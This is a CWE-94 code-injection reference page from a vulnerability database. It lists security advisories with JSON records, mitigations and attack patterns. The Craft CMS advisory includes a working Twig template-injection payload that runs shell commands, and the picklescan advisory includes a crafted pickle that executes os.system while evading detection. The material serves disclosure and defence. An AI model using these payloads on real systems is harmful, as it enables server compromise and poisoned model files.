Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8358 vulnerabilities reference this CWE, most recent first.

GHSA-94RC-CQVM-M4PW

Vulnerability from github – Published: 2026-03-03 20:30 – Updated: 2026-03-04 18:38
VLAI
Summary
Craft CMS Vulnerable to Authenticated RCE via Twig SSTI - create() function + Symfony Process gadget
Details

There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the create() Twig function combined with a Symfony Process gadget chain.

This bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7).

Required Permissions

  • Administrator permissions or access to System Messages utility
  • allowAdminChanges enabled in production (against our security recommendations) or access to System Messages utility

Vulnerability Details

The create() Twig function exposes Craft::createObject(), which allows instantiation of arbitrary PHP classes with constructor arguments. Combined with the bundled symfony/process dependency, this enables RCE.

Attack Vector

Admin panel → Settings → Entry Types → Title Format field

Proof of Concept Payload

{% set p = create("Symfony\\Component\\Process\\Process", [["id"]])
%}{{ p.mustRun.getOutput }}

Steps to Reproduce

  1. Log in as admin
  2. Navigate to Settings → Entry Types
  3. Edit any entry type’s "Title Format" field
  4. Insert the payload above
  5. Create/edit an entry of that type
  6. Command executes, output appears in entry title

Impact

  • Authenticated Remote Code Execution
  • Runs as web server user (root in default Docker setup)
  • Full server compromise

Root Cause

Craft::createObject() allows the instantiation of any class, including Symfony\Component\Process\Process, which executes shell commands.

Suggested Fix

  • Blocklist dangerous classes in createObject() when called from Twig
  • Or remove/restrict the create() Twig function
  • Or validate class names against an allowlist

Resources

https://github.com/craftcms/cms/commit/e31e50849ad71638e11ea55fbd1ed90ae8f8f6e0

Severity
6.6 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.8.7"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-22",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:30:36Z",
    "nvd_published_at": "2026-03-04T17:16:20Z",
    "severity": "MODERATE"
  },
  "details": "There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the `create()` Twig function combined with a Symfony Process gadget chain.\n\nThis bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7).\n\n## Required Permissions\n\n- Administrator permissions or access to System Messages utility\n- `allowAdminChanges` enabled in production ([against our security recommendations](https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production))  or access to System Messages utility\n\n## Vulnerability Details\nThe `create()` Twig function exposes `Craft::createObject()`, which allows instantiation of arbitrary PHP classes with constructor arguments. Combined with the bundled `symfony/process` dependency, this enables RCE.\n\n## Attack Vector\nAdmin panel \u2192 Settings \u2192 Entry Types \u2192 Title Format field\n\n## Proof of Concept Payload\n\n```\n{% set p = create(\"Symfony\\\\Component\\\\Process\\\\Process\", [[\"id\"]])\n%}{{ p.mustRun.getOutput }}\n```\n\n## Steps to Reproduce\n1. Log in as admin\n2. Navigate to Settings \u2192 Entry Types\n3. Edit any entry type\u2019s \"Title Format\" field\n4. Insert the payload above\n5. Create/edit an entry of that type\n6. Command executes, output appears in entry title\n\n## Impact\n- Authenticated Remote Code Execution\n- Runs as web server user (root in default Docker setup)\n- Full server compromise\n\n## Root Cause\nCraft::createObject() allows the instantiation of any class, including\n`Symfony\\Component\\Process\\Process`, which executes shell commands.\n\n## Suggested Fix\n\n- Blocklist dangerous classes in createObject() when called from Twig\n- Or remove/restrict the create() Twig function\n- Or validate class names against an allowlist\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/e31e50849ad71638e11ea55fbd1ed90ae8f8f6e0",
  "id": "GHSA-94rc-cqvm-m4pw",
  "modified": "2026-03-04T18:38:42Z",
  "published": "2026-03-03T20:30:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-94rc-cqvm-m4pw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/e31e50849ad71638e11ea55fbd1ed90ae8f8f6e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS Vulnerable to Authenticated RCE via Twig SSTI - create() function + Symfony Process gadget"
}

GHSA-94V8-MXJR-CFMP

Vulnerability from github – Published: 2024-02-21 21:30 – Updated: 2024-08-28 21:31
VLAI
Details

A stack overflow vulnerability in Tenda AC21 with firmware version US_AC21V1.0re_V16.03.08.15_cn_TDC01 allows attackers to run arbitrary commands via crafted POST request to /goform/openSchedWifi.

Severity
8.8 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-24333"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-21T21:15:08Z",
    "severity": "HIGH"
  },
  "details": "A stack overflow vulnerability in Tenda AC21 with firmware version US_AC21V1.0re_V16.03.08.15_cn_TDC01 allows attackers to run arbitrary commands via crafted POST request to /goform/openSchedWifi.",
  "id": "GHSA-94v8-mxjr-cfmp",
  "modified": "2024-08-28T21:31:26Z",
  "published": "2024-02-21T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24333"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caoyebo/CVE/tree/main/TENDA%20AC21%20-%20CVE-2023-24333"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-94VW-2F3V-J88M

Vulnerability from github – Published: 2022-05-01 23:49 – Updated: 2025-04-09 04:02
VLAI
Details

CRLF injection vulnerability in xterm allows user-assisted attackers to execute arbitrary commands via LF (aka \n) characters surrounding a command name within a Device Control Request Status String (DECRQSS) escape sequence in a text file, a related issue to CVE-2003-0063 and CVE-2003-0071.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-2383"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-01-02T18:11:00Z",
    "severity": "HIGH"
  },
  "details": "CRLF injection vulnerability in xterm allows user-assisted attackers to execute arbitrary commands via LF (aka \\n) characters surrounding a command name within a Device Control Request Status String (DECRQSS) escape sequence in a text file, a related issue to CVE-2003-0063 and CVE-2003-0071.",
  "id": "GHSA-94vw-2f3v-j88m",
  "modified": "2025-04-09T04:02:34Z",
  "published": "2022-05-01T23:49:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2383"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47655"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/R3E2Q6NPKT7V4VKZMSFF4ARLRVYOG4AU"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VOOVZTIABA4MIFUGTAVYWO6QXSUXSST4"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R3E2Q6NPKT7V4VKZMSFF4ARLRVYOG4AU"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VOOVZTIABA4MIFUGTAVYWO6QXSUXSST4"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9317"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/703-1"
    },
    {
      "type": "WEB",
      "url": "https://www.redhat.com/archives/fedora-package-announce/2009-January/msg00072.html"
    },
    {
      "type": "WEB",
      "url": "https://www.redhat.com/archives/fedora-package-announce/2009-January/msg00184.html"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=510030"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2009/May/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2009-01/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2009-02/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33318"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33388"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33397"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33418"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33419"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33568"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33820"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/35074"
    },
    {
      "type": "WEB",
      "url": "http://sunsolve.sun.com/search/document.do?assetkey=1-66-254208-1"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT3549"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2009/dsa-1694"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2009-0018.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2009-0019.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/33060"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1021522"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA09-133A.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/1297"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-94W5-RF69-2H6C

Vulnerability from github – Published: 2023-09-01 12:30 – Updated: 2023-09-07 21:20
VLAI
Summary
hson-java vulnerable to denial of service
Details

An issue in hjson-java up to v3.0.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted JSON string to string a StringIndexOutOfBoundsException.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.hjson:hjson"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-39685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-01T21:54:16Z",
    "nvd_published_at": "2023-09-01T10:15:08Z",
    "severity": "HIGH"
  },
  "details": "An issue in hjson-java up to v3.0.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted JSON string to string a `StringIndexOutOfBoundsException`. ",
  "id": "GHSA-94w5-rf69-2h6c",
  "modified": "2023-09-07T21:20:03Z",
  "published": "2023-09-01T12:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39685"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hjson/hjson-java/issues/27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hjson/hjson-java/commit/aff0b607929b4397d93dc0d029a56aeefb242602"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hjson/hjson-java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "hson-java vulnerable to denial of service"
}

GHSA-94WF-249C-447P

Vulnerability from github – Published: 2022-05-02 03:26 – Updated: 2022-05-02 03:26
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in Qt quickteam 2 allow remote attackers to execute arbitrary PHP code via a URL in the (1) qte_web_path parameter to qte_web.php and the (2) qte_root parameter to bin/qte_init.php.

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{
  "affected": [],
  "aliases": [
    "CVE-2009-1551"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-05-06T15:30:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in Qt quickteam 2 allow remote attackers to execute arbitrary PHP code via a URL in the (1) qte_web_path parameter to qte_web.php and the (2) qte_root parameter to bin/qte_init.php.",
  "id": "GHSA-94wf-249c-447p",
  "modified": "2022-05-02T03:26:10Z",
  "published": "2022-05-02T03:26:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1551"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/8602"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/54217"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/54218"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/34997"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/1247"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-94WM-455P-GR2F

Vulnerability from github – Published: 2025-08-26 21:31 – Updated: 2025-08-26 21:31
VLAI
Details

NVIDIA NeMo Framework for all platforms contains a vulnerability in the retrieval services component, where malicious data created by an attacker could cause a code injection. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-23312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-26T19:15:38Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA NeMo Framework for all platforms contains a vulnerability in the retrieval services component, where malicious data created by an attacker could cause a code injection. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.",
  "id": "GHSA-94wm-455p-gr2f",
  "modified": "2025-08-26T21:31:06Z",
  "published": "2025-08-26T21:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23312"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5689"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-23312"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9523-2MC9-2Q3G

Vulnerability from github – Published: 2022-05-02 00:00 – Updated: 2022-05-02 00:00
VLAI
Details

PHP remote file inclusion vulnerability in include/admin.php in JnSHosts PHP Hosting Directory 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the rd parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-3455"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-08-04T19:41:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in include/admin.php in JnSHosts PHP Hosting Directory 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the rd parameter.",
  "id": "GHSA-9523-2mc9-2q3g",
  "modified": "2022-05-02T00:00:30Z",
  "published": "2022-05-02T00:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3455"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44108"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6160"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4106"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/30428"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-955R-X9J8-7RHH

Vulnerability from github – Published: 2025-12-30 15:22 – Updated: 2025-12-30 15:24
VLAI
Summary
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
Details

Summary

Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

  • First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method
  • Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
import pickletools
opcode2 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
methodcaller
(Vsystem
Vecho "pwned by _operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode2)
pickle.loads(opcode2)

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen (cpj24@mails.tsinghua.edu.cn) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

Severity
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T15:22:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nPicklescan uses  _operator.methodcaller, which is a built-in python library function to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method\n- Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn\u0027t dectect any dangerous functions, pickle.load()  loads this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n```\nimport pickle\nimport pickletools\nopcode2 = b\u0027\u0027\u0027cbuiltins\n__import__\n(Vos\ntRp0\n0c_operator\nmethodcaller\n(Vsystem\nVecho \"pwned by _operator.methodcaller\"\ntR(g0\ntR.\u0027\u0027\u0027\npickletools.dis(opcode2)\npickle.loads(opcode2)\n```\nThis PoC can\u0027t be easily create by pickle.dumps, so it was manually built. \n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).",
  "id": "GHSA-955r-x9j8-7rhh",
  "modified": "2025-12-30T15:24:26Z",
  "published": "2025-12-30T15:22:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-955r-x9j8-7rhh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/f2dea43e0c838e09ace1e62994143254b51de927"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller"
}

GHSA-956R-VX5G-74HW

Vulnerability from github – Published: 2022-05-01 17:44 – Updated: 2022-05-01 17:44
VLAI
Details

** DISPUTED ** Multiple PHP remote file inclusion vulnerabilities in Openads (aka phpAdsNew) 2.0.7 allow remote attackers to execute arbitrary PHP code via a URL in the (1) phpAds_geoPlugin parameter to libraries/lib-remotehost.inc, the (2) filename parameter to admin/report-index, or the (3) phpAds_config[my_footer] parameter to admin/lib-gui.inc. NOTE: the vendor has disputed this issue, stating that the relevant variables are used within function definitions.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-0486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-01-25T00:28:00Z",
    "severity": "HIGH"
  },
  "details": "** DISPUTED **  Multiple PHP remote file inclusion vulnerabilities in Openads (aka phpAdsNew) 2.0.7 allow remote attackers to execute arbitrary PHP code via a URL in the (1) phpAds_geoPlugin parameter to libraries/lib-remotehost.inc, the (2) filename parameter to admin/report-index, or the (3) phpAds_config[my_footer] parameter to admin/lib-gui.inc.  NOTE: the vendor has disputed this issue, stating that the relevant variables are used within function definitions.",
  "id": "GHSA-956r-vx5g-74hw",
  "modified": "2022-05-01T17:44:45Z",
  "published": "2022-05-01T17:44:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0486"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/33573"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/2174"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/457670/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/457806/100/200/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/457991/100/200/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/22172"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9576-C88M-MWXG

Vulnerability from github – Published: 2026-03-05 06:30 – Updated: 2026-03-05 15:30
VLAI
Details

Improper Control of Generation of Code ('Code Injection') vulnerability in Crocoblock JetEngine jet-engine allows Remote Code Inclusion.This issue affects JetEngine: from n/a through <= 3.7.2.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-28134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-05T06:16:48Z",
    "severity": "HIGH"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Crocoblock JetEngine jet-engine allows Remote Code Inclusion.This issue affects JetEngine: from n/a through \u003c= 3.7.2.",
  "id": "GHSA-9576-c88m-mwxg",
  "modified": "2026-03-05T15:30:36Z",
  "published": "2026-03-05T06:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28134"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/jet-engine/vulnerability/wordpress-jetengine-plugin-3-7-2-remote-code-execution-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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